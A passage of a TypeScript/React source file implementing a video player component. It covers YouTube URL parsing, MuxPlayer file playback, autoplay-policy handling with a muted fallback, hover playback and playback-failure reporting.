safely before any instance mounts.\n//\n// We don't use Chromecast anywhere in the hub. If we ever do, replace\n// this block with explicit cast initialization at the call site.\nif (typeof window !== 'undefined') {\n  const w = window as unknown as { chrome?: { cast?: unknown } };\n  if (!w.chrome?.cast) {\n    w.chrome = { ...(w.chrome ?? {}), cast: { isAvailable: false } };\n  }\n}\n\n// =============================================================================\n// Suppress benign \"Media Chrome: No style sheet found ...\" warning.\n// =============================================================================\n//\n// Why: MuxPlayer's UI is built on `media-chrome`, which uses custom\n// elements with shadow-DOM `<style>` tags. `media-chrome`'s internal\n// `insertCSSRule()` helper queries `style.sheet` during the element's\n// `connectedCallback`. When the player mounts inside a React portal\n// (the chat panel renders `<Video>` inside Radix's `<Dialog.Portal>`),\n// the element is moved across DOM trees BEFORE the browser hydrates\n// the shadow `<style>`'s `.sheet`. The helper then logs:\n//   \"Media Chrome: No style sheet found on style tag of #shadow-root (open)\"\n// and returns a no-op style shim. The warning is purely cosmetic —\n// playback, controls, and theming all render correctly because the\n// shadow stylesheet does hydrate on the next paint.\n//\n// Until upstream `media-chrome` either retries on the next microtask\n// or downgrades the warning (tracked in their issue tracker), patch\n// `console.warn` once at module load to drop only THIS exact string.\n// All other `console.warn` calls pass through unchanged.\n//\n// Why patch instead of opting out: `@mux/mux-player-react` exposes no\n// prop to disable internal style queries, importing CSS explicitly\n// doesn't seed the shadow-root stylesheets (they're per-element), and\n// the warning fires before any consumer can intercept the element.\nif (typeof window !== 'undefined' && typeof console !== 'undefined') {\n  const w = window as unknown as { __MEDIA_CHROME_WARN_PATCHED__?: boolean };\n  if (!w.__MEDIA_CHROME_WARN_PATCHED__) {\n    w.__MEDIA_CHROME_WARN_PATCHED__ = true;\n    const MEDIA_CHROME_NO_STYLESHEET_PREFIX = 'Media Chrome: No style sheet found on style tag of';\n    const originalWarn = console.warn.bind(console);\n    console.warn = (...args: unknown[]): void => {\n      if (typeof args[0] === 'string' && args[0].startsWith(MEDIA_CHROME_NO_STYLESHEET_PREFIX)) {\n        return;\n      }\n      originalWarn(...args);\n    };\n  }\n}\n\n// =============================================================================\n// User-activation tracker (module scope) — Chrome's autoplay policy rejects\n// UNMUTED play() until the user has interacted with the page (click/keydown;\n// pointer MOVEMENT does not count). Hover-preview surfaces use this to pick\n// the right first move (sound vs muted) WITHOUT a rejection round-trip, and\n// to unmute a live muted preview the instant the first gesture lands.\n// =============================================================================\n\nlet userHasInteracted = false;\nconst activationWaiters = new Set<() => void>();\nif (typeof window !== 'undefined') {\n  const w = window as unknown as { __VIDEO_ACTIVATION_TRACKED__?: boolean };\n  if (!w.__VIDEO_ACTIVATION_TRACKED__) {\n    w.__VIDEO_ACTIVATION_TRACKED__ = true;\n    const markActivated = () => {\n      userHasInteracted = true;\n      activationWaiters.forEach(fn => {\n        try {\n          fn();\n        } catch {\n          /* ignore */\n        }\n      });\n      activationWaiters.clear();\n      window.removeEventListener('pointerdown', markActivated, true);\n      window.removeEventListener('keydown', markActivated, true);\n    };\n    window.addEventListener('pointerdown', markActivated, true);\n    window.addEventListener('keydown', markActivated, true);\n  }\n}\n\n// =============================================================================\n// URL classifiers (private — `<Video>` is the only consumer)\n// =============================================================================\n\nconst YT_HOSTS = new Set([\n  'youtube.com',\n  'www.youtube.com',\n  'm.youtube.com',\n  'youtu.be',\n  'youtube-nocookie.com',\n  'www.youtube-nocookie.com',\n]);\n\n/** Strict YouTube URL detection — parses the URL and checks the hostname. */\nfunction isYouTubeUrl(url: string): boolean {\n  try {\n    return YT_HOSTS.has(new URL(url, 'http://placeholder.local').hostname.toLowerCase());\n  } catch {\n    return false;\n  }\n}\n\n// `youtube.com/(embed|v|shorts)/<id>` — anchored, no `.*`, ReDoS-safe.\nconst YT_PATH_RE = /^\\/(?:embed|v|shorts)\\/([^/]+)\\/?$/;\n\n// Bare 11-char YouTube id — base62 alphabet `[A-Za-z0-9_-]`.\n// Anchored, no `.*`, ReDoS-safe; rejects anything that contains `/` or `:`.\nconst BARE_YT_ID_RE = /^[A-Za-z0-9_-]{11}$/;\n\n/**\n * Extract the YouTube video id from any common URL shape OR from a\n * bare 11-char id (carousels and some admin shapes pass that form\n * directly).\n *\n * Uses strict `URL` parsing + an anchored pathname regex — NOT the\n * legacy `.*v=` pattern that CodeQL flagged for polynomial-time\n * backtracking on adversarial input like `youtube.com/watch?`\n * repeated N times. Bare-id fallback uses an anchored character-class\n * regex so it can never ReDoS either.\n *\n * Exported so admin tooling and carousel thumbnail logic can validate\n * a URL without rendering the full `<Video>` component.\n */\nexport function extractYouTubeId(url: string): string | null {\n  if (!url) return null;\n  // Bare-id form first — `new URL('dQw4w9WgXcQ')` throws, so this MUST\n  // run before the URL parse. The 11-char anchored regex rejects URLs\n  // (which always contain `:` or `/`).\n  if (BARE_YT_ID_RE.test(url)) return url;\n  let u: URL;\n  // Match `isYouTubeUrl`'s relative-safe parsing — a base URL with a\n  // placeholder origin lets us handle protocol-relative inputs (`//youtube.com/...`)\n  // and protocol-less inputs (`youtube.com/...`) without throwing.\n  try {\n    u = new URL(url, 'http://placeholder.local');\n  } catch {\n    return null;\n  }\n  if (!YT_HOSTS.has(u.hostname.toLowerCase())) return null;\n  // `youtu.be/<id>` — id is the first non-empty path segment.\n  if (u.hostname.toLowerCase().endsWith('youtu.be')) {\n    return u.pathname.split('/').filter(Boolean)[0] ?? null;\n  }\n  // `youtube.com/watch?v=<id>` — query parameter.\n  const v = u.searchParams.get('v');\n  if (v) return v;\n  // `youtube.com/(embed|v|shorts)/<id>` — anchored pathname match.\n  const m = u.pathname.match(YT_PATH_RE);\n  return m ? m[1] : null;\n}\n\n// =============================================================================\n// Playback-failure handling\n// =============================================================================\n//\n// A stalled or errored player leaves the user on an endless spinner with no way\n// out. Every failure surfaces a retry (`VideoErrorOverlay`) and is reported on\n// a `window` CustomEvent the host subscribes to — no vendor analytics global is\n// touched from here; this package ships to consumers that load different (or\n// no) analytics.\n\nexport type VideoFailureKind = 'file' | 'youtube';\n/** `stall`: buffering that never cleared while playback was expected. */\nexport type VideoFailureReason = 'error' | 'stall';\n\nexport interface VideoPlaybackFailureDetail {\n  kind: VideoFailureKind;\n  /** File URL or YouTube video id — enough to group failures by source. */\n  src: string;\n  reason: VideoFailureReason;\n  /** YouTube IFrame API error code, when the embed reported one. */\n  errorCode?: number;\n}\n\nexport const VIDEO_PLAYBACK_FAILED_EVENT = 'flamingo:video-playback-failed';\n\nfunction reportPlaybackFailure(detail: VideoPlaybackFailureDetail): void {\n  if (typeof window === 'undefined') return;\n  try {\n    window.dispatchEvent(new CustomEvent(VIDEO_PLAYBACK_FAILED_EVENT, { detail }));\n  } catch {\n    // Analytics must never break playback recovery.\n  }\n}\n\n// Buffering longer than this while playback is expected reads as \"broken\", not\n// \"loading\" — surface a retry instead of spinning forever. This is what an\n// `error` callback alone misses: a video that played, then stalled mid-way.\nconst VIDEO_STALL_TIMEOUT_MS = 15_000;\n\n/** `watchOnYouTubeId` adds the one recovery that survives an embed the owner\n *  disabled: opening the video on YouTube itself. */\nfunction VideoErrorOverlay({\n  onRetry,\n  watchOnYouTubeId,\n}: {\n  onRetry: () => void;\n  watchOnYouTubeId?: string;\n}): React.ReactElement {\n  return (\n    <div className=\"absolute inset-0 z-10 flex flex-col items-center justify-center gap-[var(--spacing-system-sf)] bg-ods-overlay p-[var(--spacing-system-lf)] text-center\">\n      <p className=\"text-ods-text-secondary text-h6\">This video failed to play.</p>\n      <div className=\"flex items-center gap-[var(--spacing-system-sf)]\">\n        <Button variant=\"outline\" size=\"small\" onClick={onRetry}>\n          Try again\n        </Button>\n        {watchOnYouTubeId ? (\n          <Button\n            variant=\"transparent\"\n            size=\"small\"\n            href={`https://www.youtube.com/watch?v=${watchOnYouTubeId}`}\n            openInNewTab\n          >\n            Watch on YouTube\n          </Button>\n        ) : null}\n      </div>\n    </div>\n  );\n}\n\n// =============================================================================\n// Props\n// =============================================================================\n\nexport type VideoLayout = 'centered' | 'fill' | 'native' | 'wide';\n\n/**\n * Imperative snapshot/control handle for playback-handoff surfaces (the\n * floating walkthrough widget's mini-player continuation). Getters power\n * close-time snapshots; the mutators let a close/reopen gesture drive the\n * player without remounting. `getDuration` exists so an \"ended\" predicate\n * (`duration - time < 1s`) is evaluable at close time.\n */\nexport interface VideoPlayerHandle {\n  getCurrentTime(): number;\n  getDuration(): number;\n  getPaused(): boolean;\n  getMuted(): boolean;\n  play(): Promise<void>;\n  pause(): void;\n  setMuted(muted: boolean): void;\n}\n\n/** Muted-fallback state reported to hosts that own their own unmute control\n *  (`onMutedFallbackChange`). `blocked` is true when even the muted play()\n *  retry was rejected (iOS Low Power Mode) — the host's control is really\n *  a \"play\" affordance in that state, not an \"unmute\" one. */\nexport interface VideoMutedFallbackState {\n  muted: boolean;\n  blocked: boolean;\n}\n\ninterface VideoCommonProps {\n  /** Layout wrapper. Detail pages pass `\"centered\"`. Default `\"native\"`. */\n  layout?: VideoLayout;\n  /** Poster / thumbnail. */\n  poster?: string | null;\n  /** Mute by default — for autoplay carousels. */\n  muted?: boolean;\n  /** LCP hint — YouTube facade poster gets `fetchpriority=\"high\"`. */\n  priority?: boolean;\n  /** Tailwind classes applied to the underlying player root. */\n  className?: string;\n  /** Accessible label (used as YT facade title; ignored for file branch). */\n  title?: string;\n  /**\n   * Mount the player only once its box comes near the viewport (shared\n   * fire-once IntersectionObserver, `NEAR_VIEWPORT_ROOT_MARGIN` lookahead).\n   * Until then the box shows the poster (or nothing) — the caller's container\n   * still owns the size, so nothing shifts when the player mounts. For grids\n   * of players: a library of 20 clips costs 20 posters, not 20 players.\n   */\n  lazy?: boolean;\n  /**\n   * YouTube-only: hide YT player chrome (controls, info, fullscreen, related\n   * videos, keyboard shortcuts). Used for marketing/landing-page embeds that\n   * want a minimal look. No-op for file (MP4/HLS) branches.\n   */\n  minimalControls?: boolean;\n}\n\n/**\n * File-playback options. Declared ONCE and mixed into the public prop unions\n * AND the internal player, because these were hand-copied into four places and\n * every new prop had to be added to all of them (18 props x 4 sites before this\n * collapse). The dispatcher forwards them with a spread, so a prop added here\n * reaches FilePlayer for free.\n */\ninterface VideoFilePlaybackProps {\n  /**\n   * SRT raw content. Deprecated: pass `captionsUrl` (VTT) instead.\n   * Native `<track>` requires a URL; raw SRT can't be rendered without\n   * a custom overlay. Setting this without `captionsUrl` is a no-op\n   * with a dev warning.\n   */\n  srtContent?: string | null;\n  /** HTTPS URL to a VTT captions file. Rendered as a native `<track>`. */\n  captionsUrl?: string | null;\n  /** Autoplay muted on mount (forwarded as MuxPlayer `autoPlay=\"muted\"`). */\n  autoPlay?: boolean;\n  /** Loop playback — short bite previews. */\n  loop?: boolean;\n  /** Hide all player chrome (MuxPlayer `--controls: none`). */\n  chromeless?: boolean;\n  /** Play while the pointer hovers, pause on leave. Tries WITH sound at 50%\n   *  first; falls back to muted when autoplay policy rejects unmuted. */\n  playOnHover?: boolean;\n  /** CONTROLLED variant of playOnHover: the host owns the hover state. */\n  playWhenHovered?: boolean;\n  /** Media preload hint. When omitted the SSOT default applies. */\n  preload?: 'none' | 'metadata' | 'auto';\n  /** object-fit for the media element. */\n  fit?: 'contain' | 'cover';\n  /** Start position in seconds (applied at LOAD time). */\n  startTime?: number;\n  /** Imperative handle for snapshot/control (mini-player continuation). */\n  playerHandleRef?: React.Ref<VideoPlayerHandle>;\n  /** Attempt UNMUTED autoplay on mount; falls back to muted on rejection. */\n  autoPlayUnmuted?: boolean;\n  /** Arm the muted-fallback state (host renders its own unmute affordance). */\n  startMuted?: boolean;\n  /** Host's standing mute intent — hover playback must not override it. */\n  mutedIntent?: boolean;\n  /** Suppress the INTERNAL center unmute glyph. Hosts whose own overlay\n   *  button sits above the media render their own reachable control. */\n  hideMutedBadge?: boolean;\n  /** Reports muted-fallback state changes — see `VideoMutedFallbackState`. */\n  onMutedFallbackChange?: (state: VideoMutedFallbackState) => void;\n  /** Fired on the media element's `ended` event. */\n  onEnded?: () => void;\n}\n\n/** The keys above, for the dispatcher's spread. `satisfies` rejects an EXTRA\n *  or misspelled key; the assertion below rejects a MISSING one (which would\n *  otherwise compile fine and silently stop forwarding that prop). */\nconst VIDEO_FILE_PLAYBACK_KEYS = [\n  'srtContent',\n  'captionsUrl',\n  'autoPlay',\n  'loop',\n  'chromeless',\n  'playOnHover',\n  'playWhenHovered',\n  'preload',\n  'fit',\n  'startTime',\n  'playerHandleRef',\n  'autoPlayUnmuted',\n  'startMuted',\n  'mutedIntent',\n  'hideMutedBadge',\n  'onMutedFallbackChange',\n  'onEnded',\n] as const satisfies readonly (keyof VideoFilePlaybackProps)[];\n\n/** Build-time proof that a key list covers EVERY key of its interface — the\n *  `satisfies` on the list itself only rejects extra/misspelled keys, so\n *  without this a newly added prop compiles fine and silently stops being\n *  forwarded. Instantiate once per (interface, key-list) pair. */\ntype AllKeysForwarded<TProps, TKeys extends readonly (keyof TProps)[]> =\n  Exclude<keyof TProps, TKeys[number]> extends never ? true : never;\n\n/** Copy only the declared keys that are actually PRESENT on the union member,\n *  so an absent optional prop stays absent rather than becoming `undefined`. */\nfunction pickForwardedKeys<TProps>(props: VideoProps, keys: readonly (keyof TProps)[]): TProps {\n  const out: Record<string, unknown> = {};\n  for (const k of keys) {\n    if ((k as string) in props) out[k as string] = (props as unknown as Record<string, unknown>)[k as string];\n  }\n  return out as TProps;\n}\n\nconst _filePlaybackForwarded: AllKeysForwarded<VideoFilePlaybackProps, typeof VIDEO_FILE_PLAYBACK_KEYS> = true;\nvoid _filePlaybackForwarded;\n\nconst pickFilePlayback = (props: VideoProps): VideoFilePlaybackProps =>\n  pickForwardedKeys<VideoFilePlaybackProps>(props, VIDEO_FILE_PLAYBACK_KEYS);\n\ninterface VideoFileProps extends VideoCommonProps, VideoFilePlaybackProps {\n  kind: 'file';\n  url: string;\n  firstFrameOnly?: boolean;\n}\n\n/** YouTube-facade behavior props, declared ONCE and reused by every layer that\n *  forwards them (the two union members, the facade, its inner). Same reason as\n *  `VideoFilePlaybackProps`: four hand-kept copies drift silently. */\ninterface VideoYouTubeFacadeProps {\n  /** Activate the facade (mount the iframe) immediately — for surfaces whose\n   *  opening interaction IS the play gesture (the walkthrough theater). The\n   *  embed URL already carries `autoplay=1`. */\n  autoActivate?: boolean;\n  /** Edge-triggered pause signal: when this flips false→true while activated,\n   *  the facade posts a `pauseVideo` command over its existing\n   *  `enablejsapi=1` postMessage channel. Lets a closing dialog stop iframe\n   *  audio BEFORE the exit animation finishes unmounting it. */\n  suspended?: boolean;\n}\n\nconst VIDEO_YOUTUBE_FACADE_KEYS = [\n  'autoActivate',\n  'suspended',\n] as const satisfies readonly (keyof VideoYouTubeFacadeProps)[];\n\nconst _youTubeForwarded: AllKeysForwarded<VideoYouTubeFacadeProps, typeof VIDEO_YOUTUBE_FACADE_KEYS> = true;\nvoid _youTubeForwarded;\n\nconst pickYouTube = (props: VideoProps): VideoYouTubeFacadeProps =>\n  pickForwardedKeys<VideoYouTubeFacadeProps>(props, VIDEO_YOUTUBE_FACADE_KEYS);\n\ninterface VideoYouTubeProps extends VideoCommonProps, VideoYouTubeFacadeProps {\n  kind: 'youtube';\n  /** Either a full YT URL or just the video id. */\n  url: string;\n}\n\ninterface VideoAutoProps extends VideoCommonProps, VideoFilePlaybackProps, VideoYouTubeFacadeProps {\n  kind?: 'auto';\n  url: string;\n  firstFrameOnly?: boolean;\n}\n\nexport type VideoProps = VideoFileProps | VideoYouTubeProps | VideoAutoProps;\n\n// =============================================================================\n// Component\n// =============================================================================\n\nexport function Video(props: VideoProps): React.ReactElement | null {\n  // Hooks run unconditionally; the gate only applies when `lazy` is set.\n  const { ref: nearRef, isNear } = useNearViewport<HTMLDivElement>();\n  const url = props.url;\n  if (!url) return null;\n\n  const effectiveKind = resolveKind(props, url);\n  const layout = props.layout ?? 'native';\n\n  if (props.lazy && !isNear) {\n    // Same box, poster only: the observer target IS the reserved space.\n    return wrapWithLayout(\n      <div\n        ref={nearRef}\n        className={props.className}\n        style={\n          props.poster\n            ? { backgroundImage: `url(${props.poster})`, backgroundSize: 'cover', backgroundPosition: 'center' }\n            : undefined\n        }\n        aria-hidden=\"true\"\n      />,\n      layout,\n    );\n  }\n\n  const inner =\n    effectiveKind === 'youtube' ? (\n      <YouTubeFacade\n        url={url}\n        title={props.title}\n        priority={props.priority}\n        className={props.className}\n        minimalControls={props.minimalControls}\n        {...pickYouTube(props)}\n      />\n    ) : 'firstFrameOnly' in props && props.firstFrameOnly ? (\n      <FirstFramePreview\n        url={url}\n        poster={props.poster}\n        fit={'fit' in props ? props.fit : undefined}\n        className={props.className}\n      />\n    ) : (\n      <FilePlayer\n        url={url}\n        poster={props.poster}\n        muted={props.muted}\n        {...pickFilePlayback(props)}\n        className={props.className}\n      />\n    );\n\n  return wrapWithLayout(inner, layout);\n}\n\n// =============================================================================\n// Internals — never imported by call sites; `<Video>` is the only entry.\n// =============================================================================\n\n/**\n * Resolve the rendering branch. `'auto'` (or no `kind`) inspects the URL:\n * YouTube host (or a bare 11-char video id) → 'youtube', anything else →\n * 'file' (HLS / MP4 both handled by MuxPlayer). Type-safe — no `as` casts.\n */\nfunction resolveKind(props: VideoProps, url: string): 'youtube' | 'file' {\n  if ('kind' in props) {\n    if (props.kind === 'youtube') return 'youtube';\n    if (props.kind === 'file') return 'file';\n    // kind === 'auto' falls through to URL-based detection\n  }\n  // Bare 11-char YouTube id — use the same anchored regex as\n  // `extractYouTubeId` so both code paths agree on which strings are\n  // bare ids vs. URLs (avoids the regression where `videos/clip`\n  // length-11 strings were mis-routed to YouTube).\n  if (BARE_YT_ID_RE.test(url)) return 'youtube';\n  return isYouTubeUrl(url) ? 'youtube' : 'file';\n}\n\nfunction wrapWithLayout(inner: React.ReactElement, layout: VideoLayout): React.ReactElement {\n  switch (layout) {\n    case 'centered':\n      // `aspect-video` (16:9) reserves the box from first paint so MuxPlayer\n      // doesn't flicker tiny→full while video metadata loads. Both branches\n      // are sized to fill 100% of this container (MuxPlayer via `style`,\n      // YouTube facade via internal `paddingBottom: 56.25%` which compounds\n      // harmlessly inside an already-16:9 box). `rounded-lg overflow-hidden\n      // border border-ods-border` is on the wrapper (not the inner) so BOTH\n      // branches end up with the same rounded card look — YouTube's facade\n      // also paints its own internal rounded-lg on the button + iframe,\n      // matching the outer radius (so the corners stay sharp through the\n      // poster → iframe transition); MuxPlayer renders flat and inherits\n      // the wrapper's rounded corners via `overflow-hidden` clipping.\n      return (\n        <div className=\"flex w-full justify-center\">\n          <div className=\"aspect-video w-full max-w-3xl overflow-hidden rounded-lg border border-ods-border\">\n            {inner}\n          </div>\n        </div>\n      );\n    case 'fill':\n      return <div className=\"absolute inset-0 h-full w-full\">{inner}</div>;\n    case 'wide':\n      // In-flow 16:9 at full width, no max-width cap. The theater surface:\n      // the video sizes the box (contributes height, unlike `fill`), and any\n      // following siblings (the AI summary in EntityVideoSection) flow beneath\n      // it. `max-w-3xl` (centered) would strand a small video in a wide dialog.\n      // `bg-ods-bg` (the darkest neutral surface) gives the theater a proper\n      // near-black video stage — letterbox bars and the pre-play frame read as\n      // a video player, not a gray card. Border dropped: a stage has no chrome.\n      return <div className=\"aspect-video w-full overflow-hidden rounded-lg bg-ods-bg\">{inner}</div>;\n    case 'native':\n    default:\n      // `native` callers (blog cards etc.) are\n      // expected to provide their own aspect-ratio container so the layout\n      // primitive doesn't override portrait/square/landscape bites with 16:9.\n      return inner;\n  }\n}\n\n// -----------------------------------------------------------------------------\n// First-frame preview — the `firstFrameOnly` facade branch\n// -----------------------------------------------------------------------------\n\n/** First-frame paint through the SAME FilePlayer/MuxPlayer pipeline as\n *  playback (one rendering path for every file source — HLS included, which a\n *  plain `<video>` couldn't decode in Chromium): a chromeless, muted,\n *  metadata-only instance whose `#t=0.1` media fragment seeks-and-paints the\n *  first frame (also fixes iOS Safari, which stays blank on a fragmentless\n *  metadata load). The transparent media background keeps the box showing the\n *  card surface (never black) until the frame decodes. */\nfunction FirstFramePreview({\n  url,\n  poster,\n  fit,\n  className,\n}: {\n  url: string;\n  poster?: string | null;\n  fit?: 'contain' | 'cover';\n  className?: string;\n}): React.ReactElement {\n  return (\n    <div\n      aria-hidden\n      className=\"h-full w-full\"\n      style={{ '--media-background-color': 'transparent' } as React.CSSProperties}\n    >\n      {/* No explicit `preload` — inherits the SSOT default ('metadata',\n          'none' under Save-Data) so posterless facade cards honor the\n          Save-Data policy like every other surface. */}\n      <FilePlayer url={`${url}#t=0.1`} poster={poster} fit={fit} muted chromeless className={className} />\n    </div>\n  );\n}\n\n// -----------------------------------------------------------------------------\n// File branch — MuxPlayer (handles both .m3u8 HLS and plain .mp4)\n// -----------------------------------------------------------------------------\n\ninterface FilePlayerProps extends VideoFilePlaybackProps {\n  url: string;\n  poster?: string | null;\n  muted?: boolean;\n  className?: string;\n}\n\nfunction FilePlayer({\n  url,\n  poster,\n  muted,\n  srtContent,\n  captionsUrl,\n  autoPlay,\n  loop,\n  chromeless,\n  playOnHover,\n  playWhenHovered,\n  preload,\n  fit,\n  startTime,\n  playerHandleRef,\n  autoPlayUnmuted,\n  startMuted,\n  mutedIntent = false,\n  hideMutedBadge,\n  onMutedFallbackChange,\n  onEnded,\n  className,\n}: FilePlayerProps): React.ReactElement {\n  // Explicit preload policy — never rely on the browser/MuxPlayer implicit\n  // default. 'metadata' makes playback-core load the manifest immediately\n  // and clamp buffering to maxBufferLength=1/maxBufferSize=1 (manifest +\n  // ~1 segment, then idle); play() restores full buffering automatically.\n  // That bounded prefetch is what makes hover/click start instant. Save-Data\n  // connections get 'none' (nothing until play()). SSR note: the server pass\n  // always emits 'metadata' (saveDataEnabled() is false server-side); for\n  // Save-Data users React reconciles the property to 'none' during hydration.\n  // The mux-player custom element upgrades from client JS, so the window for\n  // an early manifest fetch is at most one bounded manifest+segment — the\n  // Save-Data verification gate covers it (see plan A2.4).\n  const effectivePreload = preload ?? (saveDataEnabled() ? 'none' : 'metadata');\n  // THE captions seam. `<track src>` is a browser subresource: it carries no\n  // custom headers, so it authenticates by cookie only. Fine on the cookie-auth\n  // web, a guaranteed 401 on every HEADER-auth host — native shells and\n  // dev-ticket web — whose caption route sits behind the same proxied\n  // `/content/api/captions` path as every other embedded endpoint. Resolving it\n  // through `useAuthedAssetSrc` puts the track on the SAME single auth knob as\n  // every embedded `fetch` (adapter bearer + 401-refresh-retry), so a host\n  // configures `endpoints.captionsUrlPrefix` and nothing else — no per-surface,\n  // per-host caption plumbing. Cookie-auth hosts get the URL back untouched.\n  const resolvedCaptionsUrl = useAuthedAssetSrc(captionsUrl, 'text/vtt, */*');\n  // True while hover playback is running MUTED because the browser's autoplay\n  // policy blocked sound (no user activation yet). Drives the center unmute\n  // control — the industry pattern (muted autoplay + explicit unmute button)\n  // instead of silently waiting for a click somewhere.\n  // Seeded from `startMuted`: a surface that declares itself muted is muted from\n  // its FIRST paint, so the badge does not have to be announced by the autoplay\n  // kick effect below (a setState in an effect body, and a wasted render pass\n  // that flashed an unmuted-looking control over a video that was always muted).\n  const [hoverMutedFallback, setHoverMutedFallback] = useState<boolean>(() => Boolean(startMuted));\n  // playOnHover drives the underlying mux-player element imperatively — the\n  // element exposes native play()/pause()/muted/volume; the chrome stays as\n  // configured. Sound-first: volume 0.5 unmuted, muted fallback when the\n  // browser's autoplay policy rejects unmuted hover playback (hover is not a\n  // user gesture in Chrome's activation model).\n  const hoverPlayerRef = useRef<{\n    play?: () => Promise<void> | void;\n    pause?: () => void;\n    load?: () => void;\n    muted?: boolean;\n    volume?: number;\n    currentTime?: number;\n    duration?: number;\n    paused?: boolean;\n    ended?: boolean;\n    addEventListener?: (type: string, listener: () => void) => void;\n    removeEventListener?: (type: string, listener: () => void) => void;\n  } | null>(null);\n  // True while the muted fallback is ALSO a blocked-autoplay state (even muted\n  // play() was rejected — iOS Low Power). Lets the host label its control\n  // \"play\" vs \"unmute\". MUST be state, not a ref: the blocked transition often\n  // lands while `hoverMutedFallback` is already true (a ref write wouldn't\n  // re-run the reporting effect, so hosts would never see blocked: true).\n  const [mutedFallbackBlocked, setMutedFallbackBlocked] = useState(false);\n  // Dev/opt-in hover→'playing' latency metric (see videoPerfDebugEnabled).\n  // One listener at a time — re-entering hover replaces it; hover-leave and\n  // unmount clear it so no stale listener survives across generations.\n  const perfListenerRef = useRef<(() => void) | null>(null);\n  const clearPerfListener = useCallback(() => {\n    if (perfListenerRef.current) {\n      try {\n        hoverPlayerRef.current?.removeEventListener?.('playing', perfListenerRef.current);\n      } catch {\n        /* element already torn down */\n      }\n      perfListenerRef.current = null;\n    }\n  }, []);\n  useEffect(() => clearPerfListener, [clearPerfListener]);\n  // Tracks whether the pointer is STILL over the player. A fast hover-out\n  // pauses the in-flight play(), which rejects it with AbortError — that must\n  // NOT trigger the muted retry (it would restart playback after the pointer\n  // left, with no visible control to stop it). Only a genuine autoplay-policy\n  // rejection (NotAllowedError) while still hovered retries muted.\n  const hoverActiveRef = useRef(false);\n  // Per-enter generation token: a LATE NotAllowedError from a previous enter\n  // must not fire the muted fallback into a newer (intended-sound) session.\n  const hoverGenerationRef = useRef(0);\n  // This instance's pending activation waiter — pruned on hover-leave,\n  // re-enter, and unmount so pre-activation hovers don't accumulate stale\n  // closures in the module-level set (they'd otherwise setState against\n  // unmounted instances when the first user gesture finally lands).\n  const activationWaiterRef = useRef<(() => void) | null>(null);\n  const clearActivationWaiter = useCallback(() => {\n    if (activationWaiterRef.current) {\n      activationWaiters.delete(activationWaiterRef.current);\n      activationWaiterRef.current = null;\n    }\n  }, []);\n  useEffect(() => clearActivationWaiter, [clearActivationWaiter]);\n\n  // Read through a ref, NOT the closure: startHoverPlayback is memoized on\n  // empty-dep callbacks, so it would capture render-0's value forever (that is\n  // why threading the prop through three layers still did nothing). Adding it\n  // to the deps instead would re-run hover playback on every mute toggle and\n  // play() over an explicit pause.\n  // Filled in an unconditional effect rather than in the render body: a render\n  // attempt React discards must not install an intent that never committed,\n  // and the only reader is a hover handler, which cannot fire before a commit.\n  const mutedIntentRef = useRef(mutedIntent);\n  useEffect(() => {\n    mutedIntentRef.current = mutedIntent;\n  });\n  const startHoverPlayback = useCallback(() => {\n    hoverActiveRef.current = true;\n    const generation = ++hoverGenerationRef.current;\n    const el = hoverPlayerRef.current;\n    if (!el) return;\n    if (videoPerfDebugEnabled()) {\n      clearPerfListener();\n      const startedAt = performance.now();\n      const onPlaying = () => {\n        clearPerfListener();\n        console.debug('[Video] hover→playing %dms', Math.round(performance.now() - startedAt));\n      };\n      perfListenerRef.current = onPlaying;\n      try {\n        el.addEventListener?.('playing', onPlaying);\n      } catch {\n        /* ignore */\n      }\n    }\n    try {\n      el.volume = 0.5;\n      if (userHasInteracted) {\n        // Post-activation: unmuted playback is allowed — play with sound,\n        // UNLESS the host holds a standing mute intent. Force-unmuting here\n        // audibly undid an explicit mute on the next hover, while the host's\n        // toggle still rendered \"muted\".\n        // The NotAllowedError guard stays as a belt-and-suspenders fallback;\n        // a fast hover-out's pause() rejects with AbortError and must not\n        // restart playback (name mismatch + cleared hoverActiveRef).\n        el.muted = mutedIntentRef.current;\n        (el.play?.() as Promise<void> | undefined)?.catch?.((err: unknown) => {\n          const name = (err as { name?: string } | null)?.name;\n          if (name === 'NotAllowedError' && hoverActiveRef.current && generation === hoverGenerationRef.current) {\n            try {\n              el.muted = true;\n              (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n                // Even MUTED playback was rejected (iOS Low Power, Firefox\n                // media.autoplay.default=5, enterprise policy). Report it, or\n                // the host renders a \"Pause\"/\"Unmute\" control over a video\n                // that never started and the first press is a no-op.\n                if (hoverActiveRef.current && generation === hoverGenerationRef.current) {\n                  setMutedFallbackBlocked(true);\n                }\n              });\n              setHoverMutedFallback(true);\n            } catch {\n              /* give up silently */\n            }\n          }\n        });\n      } else {\n        // Pre-activation: unmuted WOULD be rejected (hover isn't a gesture in\n        // Chrome's activation model) — start muted immediately with no\n        // rejection round-trip, and UNMUTE LIVE the instant the user's first\n        // click/keydown lands anywhere while this hover is still active.\n        el.muted = true;\n        (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n          // Same as the post-activation retry above: a rejected MUTED play is\n          // \"blocked\", not \"muted\", and the host's control label depends on\n          // the difference.\n          if (hoverActiveRef.current && generation === hoverGenerationRef.current) {\n            setMutedFallbackBlocked(true);\n          }\n        });\n        setHoverMutedFallback(true);\n        clearActivationWaiter();\n        const waiter = () => {\n          activationWaiterRef.current = null;\n          if (hoverActiveRef.current && generation === hoverGenerationRef.current) {\n            try {\n              el.muted = false;\n              el.volume = 0.5;\n            } catch {\n              /* ignore */\n            }\n            setHoverMutedFallback(false);\n          }\n        };\n        activationWaiterRef.current = waiter;\n        activationWaiters.add(waiter);\n      }\n    } catch {\n      /* ignore */\n    }\n  }, [clearActivationWaiter, clearPerfListener]);\n  const stopHoverPlayback = useCallback(() => {\n    hoverActiveRef.current = false;\n    setHoverMutedFallback(false);\n    clearActivationWaiter();\n    clearPerfListener();\n    try {\n      hoverPlayerRef.current?.pause?.();\n    } catch {\n      /* already torn down */\n    }\n  }, [clearActivationWaiter, clearPerfListener]);\n\n  // Explicit unmute affordance: the click IS the user activation the autoplay\n  // policy wants, so unmuting here always succeeds (and the window-level\n  // activation listener flips the module flag for every other player too).\n  const unmuteNow = useCallback((e: React.MouseEvent) => {\n    e.stopPropagation();\n    e.preventDefault();\n    const el = hoverPlayerRef.current;\n    try {\n      if (el) {\n        el.muted = false;\n        el.volume = 0.5;\n        (el.play?.() as Promise<void> | undefined)?.catch?.(() => {});\n      }\n    } catch {\n      /* ignore */\n    }\n    setHoverMutedFallback(false);\n  }, []);\n\n  // Controlled hover mode (playWhenHovered): the 